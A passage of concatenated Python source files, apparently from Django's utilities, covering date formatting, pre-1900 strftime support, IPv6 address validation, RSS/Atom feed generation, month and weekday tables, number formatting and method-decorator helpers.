
    def L(self):
        "Boolean for whether it is a leap year; i.e. True or False"
        return calendar.isleap(self.data.year)

    def m(self):
        "Month; i.e. '01' to '12'"
        return '%02d' % self.data.month

    def M(self):
        "Month, textual, 3 letters; e.g. 'Jan'"
        return MONTHS_3[self.data.month].title()

    def n(self):
        "Month without leading zeros; i.e. '1' to '12'"
        return self.data.month

    def N(self):
        "Month abbreviation in Associated Press style. Proprietary extension."
        return MONTHS_AP[self.data.month]

    def o(self):
        "ISO 8601 year number matching the ISO week number (W)"
        return self.data.isocalendar()[0]

    def r(self):
        "RFC 5322 formatted date; e.g. 'Thu, 21 Dec 2000 16:01:07 +0200'"
        return self.format('D, j M Y H:i:s O')

    def S(self):
        "English ordinal suffix for the day of the month, 2 characters; i.e. 'st', 'nd', 'rd' or 'th'"
        if self.data.day in (11, 12, 13):  # Special case
            return 'th'
        last = self.data.day % 10
        if last == 1:
            return 'st'
        if last == 2:
            return 'nd'
        if last == 3:
            return 'rd'
        return 'th'

    def t(self):
        "Number of days in the given month; i.e. '28' to '31'"
        return '%02d' % calendar.monthrange(self.data.year, self.data.month)[1]

    def U(self):
        "Seconds since the Unix epoch (January 1 1970 00:00:00 GMT)"
        if isinstance(self.data, datetime.datetime) and is_aware(self.data):
            return int(calendar.timegm(self.data.utctimetuple()))
        else:
            return int(time.mktime(self.data.timetuple()))

    def w(self):
        "Day of the week, numeric, i.e. '0' (Sunday) to '6' (Saturday)"
        return (self.data.weekday() + 1) % 7

    def W(self):
        "ISO-8601 week number of year, weeks starting on Monday"
        # Algorithm from http://www.personal.ecu.edu/mccartyr/ISOwdALG.txt
        week_number = None
        jan1_weekday = self.data.replace(month=1, day=1).weekday() + 1
        weekday = self.data.weekday() + 1
        day_of_year = self.z()
        if day_of_year <= (8 - jan1_weekday) and jan1_weekday > 4:
            if jan1_weekday == 5 or (jan1_weekday == 6 and calendar.isleap(self.data.year - 1)):
                week_number = 53
            else:
                week_number = 52
        else:
            if calendar.isleap(self.data.year):
                i = 366
            else:
                i = 365
            if (i - day_of_year) < (4 - weekday):
                week_number = 1
            else:
                j = day_of_year + (7 - weekday) + (jan1_weekday - 1)
                week_number = j // 7
                if jan1_weekday > 4:
                    week_number -= 1
        return week_number

    def y(self):
        "Year, 2 digits; e.g. '99'"
        return six.text_type(self.data.year)[2:]

    def Y(self):
        "Year, 4 digits; e.g. '1999'"
        return self.data.year

    def z(self):
        "Day of the year; i.e. '0' to '365'"
        doy = self.year_days[self.data.month] + self.data.day
        if self.L() and self.data.month > 2:
            doy += 1
        return doy


def format(value, format_string):
    "Convenience function"
    df = DateFormat(value)
    return df.format(format_string)


def time_format(value, format_string):
    "Convenience function"
    tf = TimeFormat(value)
    return tf.format(format_string)






# Python's datetime strftime doesn't handle dates before 1900.
# These classes override date and datetime to support the formatting of a date
# through its full "proleptic Gregorian" date range.
#
# Based on code submitted to comp.lang.python by Andrew Dalke
#
# >>> datetime_safe.date(1850, 8, 2).strftime("%Y/%m/%d was a %A")
# '1850/08/02 was a Friday'

import re
import time as ttime
from datetime import (
    date as real_date, datetime as real_datetime, time as real_time,
)


class date(real_date):
    def strftime(self, fmt):
        return strftime(self, fmt)


class datetime(real_datetime):
    def strftime(self, fmt):
        return strftime(self, fmt)

    @classmethod
    def combine(cls, date, time):
        return cls(date.year, date.month, date.day,
                   time.hour, time.minute, time.second,
                   time.microsecond, time.tzinfo)

    def date(self):
        return date(self.year, self.month, self.day)


class time(real_time):
    pass


def new_date(d):
    "Generate a safe date from a datetime.date object."
    return date(d.year, d.month, d.day)


def new_datetime(d):
    """
    Generate a safe datetime from a datetime.date or datetime.datetime object.
    """
    kw = [d.year, d.month, d.day]
    if isinstance(d, real_datetime):
        kw.extend([d.hour, d.minute, d.second, d.microsecond, d.tzinfo])
    return datetime(*kw)

# This library does not support strftime's "%s" or "%y" format strings.
# Allowed if there's an even number of "%"s because they are escaped.
_illegal_formatting = re.compile(r"((^|[^%])(%%)*%[sy])")


def _findall(text, substr):
    # Also finds overlaps
    sites = []
    i = 0
    while 1:
        j = text.find(substr, i)
        if j == -1:
            break
        sites.append(j)
        i = j + 1
    return sites


def strftime(dt, fmt):
    if dt.year >= 1900:
        return super(type(dt), dt).strftime(fmt)
    illegal_formatting = _illegal_formatting.search(fmt)
    if illegal_formatting:
        raise TypeError("strftime of dates before 1900 does not handle" + illegal_formatting.group(0))

    year = dt.year
    # For every non-leap year century, advance by
    # 6 years to get into the 28-year repeat cycle
    delta = 2000 - year
    off = 6 * (delta // 100 + delta // 400)
    year = year + off

    # Move to around the year 2000
    year = year + ((2000 - year) // 28) * 28
    timetuple = dt.timetuple()
    s1 = ttime.strftime(fmt, (year,) + timetuple[1:])
    sites1 = _findall(s1, str(year))

    s2 = ttime.strftime(fmt, (year + 28,) + timetuple[1:])
    sites2 = _findall(s2, str(year + 28))

    sites = []
    for site in sites1:
        if site in sites2:
            sites.append(site)

    s = s1
    syear = "%04d" % (dt.year,)
    for site in sites:
        s = s[:site] + syear + s[site + 4:]
    return s






# This code was mostly based on ipaddr-py
# Copyright 2007 Google Inc. https://github.com/google/ipaddr-py
# Licensed under the Apache License, Version 2.0 (the "License").
import re

from django.core.exceptions import ValidationError
from django.utils.six.moves import range
from django.utils.translation import ugettext_lazy as _


def clean_ipv6_address(ip_str, unpack_ipv4=False,
                       error_message=_("This is not a valid IPv6 address.")):
    """
    Cleans an IPv6 address string.

    Validity is checked by calling is_valid_ipv6_address() - if an
    invalid address is passed, ValidationError is raised.

    Replaces the longest continuous zero-sequence with "::" and
    removes leading zeroes and makes sure all hextets are lowercase.

    Args:
        ip_str: A valid IPv6 address.
        unpack_ipv4: if an IPv4-mapped address is found,
        return the plain IPv4 address (default=False).
        error_message: An error message used in the ValidationError.

    Returns:
        A compressed IPv6 address, or the same value
    """
    best_doublecolon_start = -1
    best_doublecolon_len = 0
    doublecolon_start = -1
    doublecolon_len = 0

    if not is_valid_ipv6_address(ip_str):
        raise ValidationError(error_message, code='invalid')

    # This algorithm can only handle fully exploded
    # IP strings
    ip_str = _explode_shorthand_ip_string(ip_str)

    ip_str = _sanitize_ipv4_mapping(ip_str)

    # If needed, unpack the IPv4 and return straight away
    # - no need in running the rest of the algorithm
    if unpack_ipv4:
        ipv4_unpacked = _unpack_ipv4(ip_str)

        if ipv4_unpacked:
            return ipv4_unpacked

    hextets = ip_str.split(":")

    for index in range(len(hextets)):
        # Remove leading zeroes
        if '.' not in hextets[index]:
            hextets[index] = hextets[index].lstrip('0')
        if not hextets[index]:
            hextets[index] = '0'

        # Determine best hextet to compress
        if hextets[index] == '0':
            doublecolon_len += 1
            if doublecolon_start == -1:
                # Start of a sequence of zeros.
                doublecolon_start = index
            if doublecolon_len > best_doublecolon_len:
                # This is the longest sequence of zeros so far.
                best_doublecolon_len = doublecolon_len
                best_doublecolon_start = doublecolon_start
        else:
            doublecolon_len = 0
            doublecolon_start = -1

    # Compress the most suitable hextet
    if best_doublecolon_len > 1:
        best_doublecolon_end = (best_doublecolon_start +
                                best_doublecolon_len)
        # For zeros at the end of the address.
        if best_doublecolon_end == len(hextets):
            hextets += ['']
        hextets[best_doublecolon_start:best_doublecolon_end] = ['']
        # For zeros at the beginning of the address.
        if best_doublecolon_start == 0:
            hextets = [''] + hextets

    result = ":".join(hextets)

    return result.lower()


def _sanitize_ipv4_mapping(ip_str):
    """
    Sanitize IPv4 mapping in an expanded IPv6 address.

    This converts ::ffff:0a0a:0a0a to ::ffff:10.10.10.10.
    If there is nothing to sanitize, returns an unchanged
    string.

    Args:
        ip_str: A string, the expanded IPv6 address.

    Returns:
        The sanitized output string, if applicable.
    """
    if not ip_str.lower().startswith('0000:0000:0000:0000:0000:ffff:'):
        # not an ipv4 mapping
        return ip_str

    hextets = ip_str.split(':')

    if '.' in hextets[-1]:
        # already sanitized
        return ip_str

    ipv4_address = "%d.%d.%d.%d" % (
        int(hextets[6][0:2], 16),
        int(hextets[6][2:4], 16),
        int(hextets[7][0:2], 16),
        int(hextets[7][2:4], 16),
    )

    result = ':'.join(hextets[0:6])
    result += ':' + ipv4_address

    return result


def _unpack_ipv4(ip_str):
    """
    Unpack an IPv4 address that was mapped in a compressed IPv6 address.

    This converts 0000:0000:0000:0000:0000:ffff:10.10.10.10 to 10.10.10.10.
    If there is nothing to sanitize, returns None.

    Args:
        ip_str: A string, the expanded IPv6 address.

    Returns:
        The unpacked IPv4 address, or None if there was nothing to unpack.
    """
    if not ip_str.lower().startswith('0000:0000:0000:0000:0000:ffff:'):
        return None

    return ip_str.rsplit(':', 1)[1]


def is_valid_ipv6_address(ip_str):
    """
    Ensure we have a valid IPv6 address.

    Args:
        ip_str: A string, the IPv6 address.

    Returns:
        A boolean, True if this is a valid IPv6 address.
    """
    from django.core.validators import validate_ipv4_address

    symbols_re = re.compile(r'^[0-9a-fA-F:.]+$')
    if not symbols_re.match(ip_str):
        return False

    # We need to have at least one ':'.
    if ':' not in ip_str:
        return False

    # We can only have one '::' shortener.
    if ip_str.count('::') > 1:
        return False

    # '::' should be encompassed by start, digits or end.
    if ':::' in ip_str:
        return False

    # A single colon can neither start nor end an address.
    if ((ip_str.startswith(':') and not ip_str.startswith('::')) or
            (ip_str.endswith(':') and not ip_str.endswith('::'))):
        return False

    # We can never have more than 7 ':' (1::2:3:4:5:6:7:8 is invalid)
    if ip_str.count(':') > 7:
        return False

    # If we have no concatenation, we need to have 8 fields with 7 ':'.
    if '::' not in ip_str and ip_str.count(':') != 7:
        # We might have an IPv4 mapped address.
        if ip_str.count('.') != 3:
            return False

    ip_str = _explode_shorthand_ip_string(ip_str)

    # Now that we have that all squared away, let's check that each of the
    # hextets are between 0x0 and 0xFFFF.
    for hextet in ip_str.split(':'):
        if hextet.count('.') == 3:
            # If we have an IPv4 mapped address, the IPv4 portion has to
            # be at the end of the IPv6 portion.
            if not ip_str.split(':')[-1] == hextet:
                return False
            try:
                validate_ipv4_address(hextet)
            except ValidationError:
                return False
        else:
            try:
                # a value error here means that we got a bad hextet,
                # something like 0xzzzz
                if int(hextet, 16) < 0x0 or int(hextet, 16) > 0xFFFF:
                    return False
            except ValueError:
                return False
    return True


def _explode_shorthand_ip_string(ip_str):
    """
    Expand a shortened IPv6 address.

    Args:
        ip_str: A string, the IPv6 address.

    Returns:
        A string, the expanded IPv6 address.
    """
    if not _is_shorthand_ip(ip_str):
        # We've already got a longhand ip_str.
        return ip_str

    new_ip = []
    hextet = ip_str.split('::')

    # If there is a ::, we need to expand it with zeroes
    # to get to 8 hextets - unless there is a dot in the last hextet,
    # meaning we're doing v4-mapping
    if '.' in ip_str.split(':')[-1]:
        fill_to = 7
    else:
        fill_to = 8

    if len(hextet) > 1:
        sep = len(hextet[0].split(':')) + len(hextet[1].split(':'))
        new_ip = hextet[0].split(':')

        for __ in range(fill_to - sep):
            new_ip.append('0000')
        new_ip += hextet[1].split(':')

    else:
        new_ip = ip_str.split(':')

    # Now need to make sure every hextet is 4 lower case characters.
    # If a hextet is < 4 characters, we've got missing leading 0's.
    ret_ip = []
    for hextet in new_ip:
        ret_ip.append(('0' * (4 - len(hextet)) + hextet).lower())
    return ':'.join(ret_ip)


def _is_shorthand_ip(ip_str):
    """Determine if the address is shortened.

    Args:
        ip_str: A string, the IPv6 address.

    Returns:
        A boolean, True if the address is shortened.
    """
    if ip_str.count('::') == 1:
        return True
    if any(len(x) < 4 for x in ip_str.split(':')):
        return True
    return False






"""
Syndication feed generation library -- used for generating RSS, etc.

Sample usage:

>>> from django.utils import feedgenerator
>>> feed = feedgenerator.Rss201rev2Feed(
...     title="Poynter E-Media Tidbits",
...     link="http://www.poynter.org/column.asp?id=31",
...     description="A group Weblog by the sharpest minds in online media/journalism/publishing.",
...     language="en",
... )
>>> feed.add_item(
...     title="Hello",
...     link="http://www.holovaty.com/test/",
...     description="Testing."
... )
>>> with open('test.rss', 'w') as fp:
...     feed.write(fp, 'utf-8')

For definitions of the different versions of RSS, see:
http://web.archive.org/web/20110718035220/http://diveintomark.org/archives/2004/02/04/incompatible-rss
"""
from __future__ import unicode_literals

import datetime
import warnings

from django.utils import datetime_safe, six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text, iri_to_uri
from django.utils.six import StringIO
from django.utils.six.moves.urllib.parse import urlparse
from django.utils.timezone import utc
from django.utils.xmlutils import SimplerXMLGenerator


def rfc2822_date(date):
    # We can't use strftime() because it produces locale-dependent results, so
    # we have to map english month and day names manually
    months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec',)
    days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun')
    # Support datetime objects older than 1900
    date = datetime_safe.new_datetime(date)
    # We do this ourselves to be timezone aware, email.Utils is not tz aware.
    dow = days[date.weekday()]
    month = months[date.month - 1]
    time_str = date.strftime('%s, %%d %s %%Y %%H:%%M:%%S ' % (dow, month))
    if six.PY2:             # strftime returns a byte string in Python 2
        time_str = time_str.decode('utf-8')
    offset = date.utcoffset()
    # Historically, this function assumes that naive datetimes are in UTC.
    if offset is None:
        return time_str + '-0000'
    else:
        timezone = (offset.days * 24 * 60) + (offset.seconds // 60)
        hour, minute = divmod(timezone, 60)
        return time_str + '%+03d%02d' % (hour, minute)


def rfc3339_date(date):
    # Support datetime objects older than 1900
    date = datetime_safe.new_datetime(date)
    time_str = date.strftime('%Y-%m-%dT%H:%M:%S')
    if six.PY2:             # strftime returns a byte string in Python 2
        time_str = time_str.decode('utf-8')
    offset = date.utcoffset()
    # Historically, this function assumes that naive datetimes are in UTC.
    if offset is None:
        return time_str + 'Z'
    else:
        timezone = (offset.days * 24 * 60) + (offset.seconds // 60)
        hour, minute = divmod(timezone, 60)
        return time_str + '%+03d:%02d' % (hour, minute)


def get_tag_uri(url, date):
    """
    Creates a TagURI.

    See http://web.archive.org/web/20110514113830/http://diveintomark.org/archives/2004/05/28/howto-atom-id
    """
    bits = urlparse(url)
    d = ''
    if date is not None:
        d = ',%s' % datetime_safe.new_datetime(date).strftime('%Y-%m-%d')
    return 'tag:%s%s:%s/%s' % (bits.hostname, d, bits.path, bits.fragment)


class SyndicationFeed(object):
    "Base class for all syndication feeds. Subclasses should provide write()"
    def __init__(self, title, link, description, language=None, author_email=None,
                 author_name=None, author_link=None, subtitle=None, categories=None,
                 feed_url=None, feed_copyright=None, feed_guid=None, ttl=None, **kwargs):
        def to_unicode(s):
            return force_text(s, strings_only=True)
        if categories:
            categories = [force_text(c) for c in categories]
        if ttl is not None:
            # Force ints to unicode
            ttl = force_text(ttl)
        self.feed = {
            'title': to_unicode(title),
            'link': iri_to_uri(link),
            'description': to_unicode(description),
            'language': to_unicode(language),
            'author_email': to_unicode(author_email),
            'author_name': to_unicode(author_name),
            'author_link': iri_to_uri(author_link),
            'subtitle': to_unicode(subtitle),
            'categories': categories or (),
            'feed_url': iri_to_uri(feed_url),
            'feed_copyright': to_unicode(feed_copyright),
            'id': feed_guid or link,
            'ttl': ttl,
        }
        self.feed.update(kwargs)
        self.items = []

    def add_item(self, title, link, description, author_email=None,
                 author_name=None, author_link=None, pubdate=None, comments=None,
                 unique_id=None, unique_id_is_permalink=None, enclosure=None,
                 categories=(), item_copyright=None, ttl=None, updateddate=None,
                 enclosures=None, **kwargs):
        """
        Adds an item to the feed. All args are expected to be Python Unicode
        objects except pubdate and updateddate, which are datetime.datetime
        objects, and enclosures, which is an iterable of instances of the
        Enclosure class.
        """
        def to_unicode(s):
            return force_text(s, strings_only=True)
        if categories:
            categories = [to_unicode(c) for c in categories]
        if ttl is not None:
            # Force ints to unicode
            ttl = force_text(ttl)
        if enclosure is None:
            enclosures = [] if enclosures is None else enclosures
        else:
            warnings.warn(
                "The enclosure keyword argument is deprecated, "
                "use enclosures instead.",
                RemovedInDjango20Warning,
                stacklevel=2,
            )
            enclosures = [enclosure]
        item = {
            'title': to_unicode(title),
            'link': iri_to_uri(link),
            'description': to_unicode(description),
            'author_email': to_unicode(author_email),
            'author_name': to_unicode(author_name),
            'author_link': iri_to_uri(author_link),
            'pubdate': pubdate,
            'updateddate': updateddate,
            'comments': to_unicode(comments),
            'unique_id': to_unicode(unique_id),
            'unique_id_is_permalink': unique_id_is_permalink,
            'enclosures': enclosures,
            'categories': categories or (),
            'item_copyright': to_unicode(item_copyright),
            'ttl': ttl,
        }
        item.update(kwargs)
        self.items.append(item)

    def num_items(self):
        return len(self.items)

    def root_attributes(self):
        """
        Return extra attributes to place on the root (i.e. feed/channel) element.
        Called from write().
        """
        return {}

    def add_root_elements(self, handler):
        """
        Add elements in the root (i.e. feed/channel) element. Called
        from write().
        """
        pass

    def item_attributes(self, item):
        """
        Return extra attributes to place on each item (i.e. item/entry) element.
        """
        return {}

    def add_item_elements(self, handler, item):
        """
        Add elements on each item (i.e. item/entry) element.
        """
        pass

    def write(self, outfile, encoding):
        """
        Outputs the feed in the given encoding to outfile, which is a file-like
        object. Subclasses should override this.
        """
        raise NotImplementedError('subclasses of SyndicationFeed must provide a write() method')

    def writeString(self, encoding):
        """
        Returns the feed in the given encoding as a string.
        """
        s = StringIO()
        self.write(s, encoding)
        return s.getvalue()

    def latest_post_date(self):
        """
        Returns the latest item's pubdate or updateddate. If no items
        have either of these attributes this returns the current UTC date/time.
        """
        latest_date = None
        date_keys = ('updateddate', 'pubdate')

        for item in self.items:
            for date_key in date_keys:
                item_date = item.get(date_key)
                if item_date:
                    if latest_date is None or item_date > latest_date:
                        latest_date = item_date

        # datetime.now(tz=utc) is slower, as documented in django.utils.timezone.now
        return latest_date or datetime.datetime.utcnow().replace(tzinfo=utc)


class Enclosure(object):
    "Represents an RSS enclosure"
    def __init__(self, url, length, mime_type):
        "All args are expected to be Python Unicode objects"
        self.length, self.mime_type = length, mime_type
        self.url = iri_to_uri(url)


class RssFeed(SyndicationFeed):
    content_type = 'application/rss+xml; charset=utf-8'

    def write(self, outfile, encoding):
        handler = SimplerXMLGenerator(outfile, encoding)
        handler.startDocument()
        handler.startElement("rss", self.rss_attributes())
        handler.startElement("channel", self.root_attributes())
        self.add_root_elements(handler)
        self.write_items(handler)
        self.endChannelElement(handler)
        handler.endElement("rss")

    def rss_attributes(self):
        return {"version": self._version,
                "xmlns:atom": "http://www.w3.org/2005/Atom"}

    def write_items(self, handler):
        for item in self.items:
            handler.startElement('item', self.item_attributes(item))
            self.add_item_elements(handler, item)
            handler.endElement("item")

    def add_root_elements(self, handler):
        handler.addQuickElement("title", self.feed['title'])
        handler.addQuickElement("link", self.feed['link'])
        handler.addQuickElement("description", self.feed['description'])
        if self.feed['feed_url'] is not None:
            handler.addQuickElement("atom:link", None, {"rel": "self", "href": self.feed['feed_url']})
        if self.feed['language'] is not None:
            handler.addQuickElement("language", self.feed['language'])
        for cat in self.feed['categories']:
            handler.addQuickElement("category", cat)
        if self.feed['feed_copyright'] is not None:
            handler.addQuickElement("copyright", self.feed['feed_copyright'])
        handler.addQuickElement("lastBuildDate", rfc2822_date(self.latest_post_date()))
        if self.feed['ttl'] is not None:
            handler.addQuickElement("ttl", self.feed['ttl'])

    def endChannelElement(self, handler):
        handler.endElement("channel")

    @property
    def mime_type(self):
        warnings.warn(
            'The mime_type attribute of RssFeed is deprecated. '
            'Use content_type instead.',
            RemovedInDjango20Warning, stacklevel=2
        )
        return self.content_type


class RssUserland091Feed(RssFeed):
    _version = "0.91"

    def add_item_elements(self, handler, item):
        handler.addQuickElement("title", item['title'])
        handler.addQuickElement("link", item['link'])
        if item['description'] is not None:
            handler.addQuickElement("description", item['description'])


class Rss201rev2Feed(RssFeed):
    # Spec: http://blogs.law.harvard.edu/tech/rss
    _version = "2.0"

    def add_item_elements(self, handler, item):
        handler.addQuickElement("title", item['title'])
        handler.addQuickElement("link", item['link'])
        if item['description'] is not None:
            handler.addQuickElement("description", item['description'])

        # Author information.
        if item["author_name"] and item["author_email"]:
            handler.addQuickElement("author", "%s (%s)" % (item['author_email'], item['author_name']))
        elif item["author_email"]:
            handler.addQuickElement("author", item["author_email"])
        elif item["author_name"]:
            handler.addQuickElement(
                "dc:creator", item["author_name"], {"xmlns:dc": "http://purl.org/dc/elements/1.1/"}
            )

        if item['pubdate'] is not None:
            handler.addQuickElement("pubDate", rfc2822_date(item['pubdate']))
        if item['comments'] is not None:
            handler.addQuickElement("comments", item['comments'])
        if item['unique_id'] is not None:
            guid_attrs = {}
            if isinstance(item.get('unique_id_is_permalink'), bool):
                guid_attrs['isPermaLink'] = str(item['unique_id_is_permalink']).lower()
            handler.addQuickElement("guid", item['unique_id'], guid_attrs)
        if item['ttl'] is not None:
            handler.addQuickElement("ttl", item['ttl'])

        # Enclosure.
        if item['enclosures']:
            enclosures = list(item['enclosures'])
            if len(enclosures) > 1:
                raise ValueError(
                    "RSS feed items may only have one enclosure, see "
                    "http://www.rssboard.org/rss-profile#element-channel-item-enclosure"
                )
            enclosure = enclosures[0]
            handler.addQuickElement('enclosure', '', {
                'url': enclosure.url,
                'length': enclosure.length,
                'type': enclosure.mime_type,
            })

        # Categories.
        for cat in item['categories']:
            handler.addQuickElement("category", cat)


class Atom1Feed(SyndicationFeed):
    # Spec: https://tools.ietf.org/html/rfc4287
    content_type = 'application/atom+xml; charset=utf-8'
    ns = "http://www.w3.org/2005/Atom"

    def write(self, outfile, encoding):
        handler = SimplerXMLGenerator(outfile, encoding)
        handler.startDocument()
        handler.startElement('feed', self.root_attributes())
        self.add_root_elements(handler)
        self.write_items(handler)
        handler.endElement("feed")

    def root_attributes(self):
        if self.feed['language'] is not None:
            return {"xmlns": self.ns, "xml:lang": self.feed['language']}
        else:
            return {"xmlns": self.ns}

    def add_root_elements(self, handler):
        handler.addQuickElement("title", self.feed['title'])
        handler.addQuickElement("link", "", {"rel": "alternate", "href": self.feed['link']})
        if self.feed['feed_url'] is not None:
            handler.addQuickElement("link", "", {"rel": "self", "href": self.feed['feed_url']})
        handler.addQuickElement("id", self.feed['id'])
        handler.addQuickElement("updated", rfc3339_date(self.latest_post_date()))
        if self.feed['author_name'] is not None:
            handler.startElement("author", {})
            handler.addQuickElement("name", self.feed['author_name'])
            if self.feed['author_email'] is not None:
                handler.addQuickElement("email", self.feed['author_email'])
            if self.feed['author_link'] is not None:
                handler.addQuickElement("uri", self.feed['author_link'])
            handler.endElement("author")
        if self.feed['subtitle'] is not None:
            handler.addQuickElement("subtitle", self.feed['subtitle'])
        for cat in self.feed['categories']:
            handler.addQuickElement("category", "", {"term": cat})
        if self.feed['feed_copyright'] is not None:
            handler.addQuickElement("rights", self.feed['feed_copyright'])

    def write_items(self, handler):
        for item in self.items:
            handler.startElement("entry", self.item_attributes(item))
            self.add_item_elements(handler, item)
            handler.endElement("entry")

    def add_item_elements(self, handler, item):
        handler.addQuickElement("title", item['title'])
        handler.addQuickElement("link", "", {"href": item['link'], "rel": "alternate"})

        if item['pubdate'] is not None:
            handler.addQuickElement('published', rfc3339_date(item['pubdate']))

        if item['updateddate'] is not None:
            handler.addQuickElement('updated', rfc3339_date(item['updateddate']))

        # Author information.
        if item['author_name'] is not None:
            handler.startElement("author", {})
            handler.addQuickElement("name", item['author_name'])
            if item['author_email'] is not None:
                handler.addQuickElement("email", item['author_email'])
            if item['author_link'] is not None:
                handler.addQuickElement("uri", item['author_link'])
            handler.endElement("author")

        # Unique ID.
        if item['unique_id'] is not None:
            unique_id = item['unique_id']
        else:
            unique_id = get_tag_uri(item['link'], item['pubdate'])
        handler.addQuickElement("id", unique_id)

        # Summary.
        if item['description'] is not None:
            handler.addQuickElement("summary", item['description'], {"type": "html"})

        # Enclosures.
        for enclosure in item['enclosures']:
            handler.addQuickElement('link', '', {
                'rel': 'enclosure',
                'href': enclosure.url,
                'length': enclosure.length,
                'type': enclosure.mime_type,
            })

        # Categories.
        for cat in item['categories']:
            handler.addQuickElement("category", "", {"term": cat})

        # Rights.
        if item['item_copyright'] is not None:
            handler.addQuickElement("rights", item['item_copyright'])

    @property
    def mime_type(self):
        warnings.warn(
            'The mime_type attribute of Atom1Feed is deprecated. '
            'Use content_type instead.',
            RemovedInDjango20Warning, stacklevel=2
        )
        return self.content_type

# This isolates the decision of what the system default is, so calling code can
# do "feedgenerator.DefaultFeed" instead of "feedgenerator.Rss201rev2Feed".
DefaultFeed = Rss201rev2Feed






"Commonly-used date structures"

from django.utils.translation import pgettext_lazy, ugettext_lazy as _

WEEKDAYS = {
    0: _('Monday'), 1: _('Tuesday'), 2: _('Wednesday'), 3: _('Thursday'), 4: _('Friday'),
    5: _('Saturday'), 6: _('Sunday')
}
WEEKDAYS_ABBR = {
    0: _('Mon'), 1: _('Tue'), 2: _('Wed'), 3: _('Thu'), 4: _('Fri'),
    5: _('Sat'), 6: _('Sun')
}
WEEKDAYS_REV = {
    'monday': 0, 'tuesday': 1, 'wednesday': 2, 'thursday': 3, 'friday': 4,
    'saturday': 5, 'sunday': 6
}
MONTHS = {
    1: _('January'), 2: _('February'), 3: _('March'), 4: _('April'), 5: _('May'), 6: _('June'),
    7: _('July'), 8: _('August'), 9: _('September'), 10: _('October'), 11: _('November'),
    12: _('December')
}
MONTHS_3 = {
    1: _('jan'), 2: _('feb'), 3: _('mar'), 4: _('apr'), 5: _('may'), 6: _('jun'),
    7: _('jul'), 8: _('aug'), 9: _('sep'), 10: _('oct'), 11: _('nov'), 12: _('dec')
}
MONTHS_3_REV = {
    'jan': 1, 'feb': 2, 'mar': 3, 'apr': 4, 'may': 5, 'jun': 6, 'jul': 7, 'aug': 8,
    'sep': 9, 'oct': 10, 'nov': 11, 'dec': 12
}
MONTHS_AP = {  # month names in Associated Press style
    1: pgettext_lazy('abbrev. month', 'Jan.'),
    2: pgettext_lazy('abbrev. month', 'Feb.'),
    3: pgettext_lazy('abbrev. month', 'March'),
    4: pgettext_lazy('abbrev. month', 'April'),
    5: pgettext_lazy('abbrev. month', 'May'),
    6: pgettext_lazy('abbrev. month', 'June'),
    7: pgettext_lazy('abbrev. month', 'July'),
    8: pgettext_lazy('abbrev. month', 'Aug.'),
    9: pgettext_lazy('abbrev. month', 'Sept.'),
    10: pgettext_lazy('abbrev. month', 'Oct.'),
    11: pgettext_lazy('abbrev. month', 'Nov.'),
    12: pgettext_lazy('abbrev. month', 'Dec.')
}
MONTHS_ALT = {  # required for long date representation by some locales
    1: pgettext_lazy('alt. month', 'January'),
    2: pgettext_lazy('alt. month', 'February'),
    3: pgettext_lazy('alt. month', 'March'),
    4: pgettext_lazy('alt. month', 'April'),
    5: pgettext_lazy('alt. month', 'May'),
    6: pgettext_lazy('alt. month', 'June'),
    7: pgettext_lazy('alt. month', 'July'),
    8: pgettext_lazy('alt. month', 'August'),
    9: pgettext_lazy('alt. month', 'September'),
    10: pgettext_lazy('alt. month', 'October'),
    11: pgettext_lazy('alt. month', 'November'),
    12: pgettext_lazy('alt. month', 'December')
}






from __future__ import unicode_literals

from decimal import Decimal

from django.conf import settings
from django.utils import six
from django.utils.safestring import mark_safe


def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False):
    """
    Gets a number (as a number or string), and returns it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ".")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator.
        For non-uniform digit grouping, it can be a sequence with the number
        of digit group sizes following the format used by the Python locale
        module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
    * thousand_sep: Thousand separator symbol (for example ",")
    """
    use_grouping = settings.USE_L10N and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping != 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(six.text_type(number))
    # sign
    sign = ''
    if isinstance(number, Decimal):
        str_number = '{:f}'.format(number)
    else:
        str_number = six.text_type(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    if dec_part:
        dec_part = decimal_sep + dec_part
    # grouping
    if use_grouping:
        try:
            # if grouping is a sequence
            intervals = list(grouping)
        except TypeError:
            # grouping is a single value
            intervals = [grouping, 0]
        active_interval = intervals.pop(0)
        int_part_gd = ''
        cnt = 0
        for digit in int_part[::-1]:
            if cnt and cnt == active_interval:
                if intervals:
                    active_interval = intervals.pop(0) or active_interval
                int_part_gd += thousand_sep[::-1]
                cnt = 0
            int_part_gd += digit
            cnt += 1
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part






"Functions that help with dynamically creating decorators for views."

try:
    from contextlib import ContextDecorator
except ImportError:
    ContextDecorator = None

from functools import WRAPPER_ASSIGNMENTS, update_wrapper, wraps

from django.utils import six


class classonlymethod(classmethod):
    def __get__(self, instance, cls=None):
        if instance is not None:
            raise AttributeError("This method is available only on the class, not on instances.")
        return super(classonlymethod, self).__get__(instance, cls)


def method_decorator(decorator, name=''):
    """
    Converts a function decorator into a method decorator
    """
    # 'obj' can be a class or a function. If 'obj' is a function at the time it
    # is passed to _dec,  it will eventually be a method of the class it is
    # defined on. If 'obj' is a class, the 'name' is required to be the name
    # of the method that will be decorated.
    def _dec(obj):
        is_class = isinstance(obj, type)
        if is_class:
            if name and hasattr(obj, name):
                func = getattr(obj, name)
                if not callable(func):
                    raise TypeError(
                        "Cannot decorate '{0}' as it isn't a callable "
                        "attribute of {1} ({2})".format(name, obj, func)
                    )
            else:
                raise ValueError(
                    "The keyword argument `name` must be the name of a method "
